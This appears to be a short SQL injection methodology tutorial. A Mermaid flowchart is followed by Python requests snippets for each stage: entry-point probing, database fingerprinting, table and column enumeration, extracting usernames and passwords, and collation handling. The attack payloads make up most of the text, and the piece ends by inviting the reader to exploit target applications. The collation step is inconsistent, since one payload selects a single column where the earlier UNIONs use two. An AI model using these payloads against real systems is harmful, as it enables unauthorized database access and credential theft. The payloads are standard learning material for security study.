SQLI Flow
---
config:
theme: base
themeVariables:
nodeTextColor: "#FFFFFF"
primaryColor: "#000000"
lineColor: "#FFFFFF"
edgeLabelBackground: "#000000"
gitGraph:
showBranches: false
---
graph TD
A[Identify Entry Point] --> B[Identify Database]
B --> C[Identify Tables]
C --> D[Identify Columns]
D --> E[Extract Data]
E --> F[Handle Collation Issues]
classDef default fill:#000000,stroke:#FFFFFF,color:#FFFFFF;Explanation and Code Snippets
-
Identify Entry Point:
- The first step is to identify the entry point where SQL injection might be possible. This usually involves finding input fields, URL parameters, or headers that interact with the database.
# Example: Capturing potential SQL injection point payload = "' OR '1'='1" url = f"http://example.com/login?username=admin&password={payload}" response = requests.get(url) -
Identify Database:
- Determine the type of database being used. This helps in crafting appropriate payloads for further steps.
# Example: SQL query to identify database type payload = "' UNION SELECT @@version, NULL--" response = requests.get(f"http://example.com/vulnerable?input={payload}") print(response.text) -
Identify Tables:
- Discover the database schema by listing all the tables present. This is done using information schema tables.
# Example: Listing tables in the database payload = "' UNION SELECT table_name, NULL FROM information_schema.tables--" response = requests.get(f"http://example.com/vulnerable?input={payload}") print(response.text) -
Identify Columns:
- Once the tables are identified, list all the columns within the target table.
# Example: Listing columns in a specific table target_table = "users" payload = f"' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='{target_table}'--" response = requests.get(f"http://example.com/vulnerable?input={payload}") print(response.text) -
Extract Data:
- After identifying the columns, extract data from the target columns.
# Example: Extracting data from the target table payload = "' UNION SELECT username, password FROM users--" response = requests.get(f"http://example.com/vulnerable?input={payload}") print(response.text) -
Handle Collation Issues:
- If you encounter collation issues, you need to identify the collation of the columns and adjust your query accordingly.
# Example: Handling collation issues payload = "' UNION SELECT COLLATION_NAME FROM information_schema.columns WHERE table_name='users' AND column_name='username'--" response = requests.get(f"http://example.com/vulnerable?input={payload}") collation = response.text.strip() # Adjust payload with collation payload = f"' UNION SELECT username COLLATE {collation}, password FROM users--" response = requests.get(f"http://example.com/vulnerable?input={payload}") print(response.text)
By following these steps, you can systematically identify and exploit SQL injection vulnerabilities in a target application.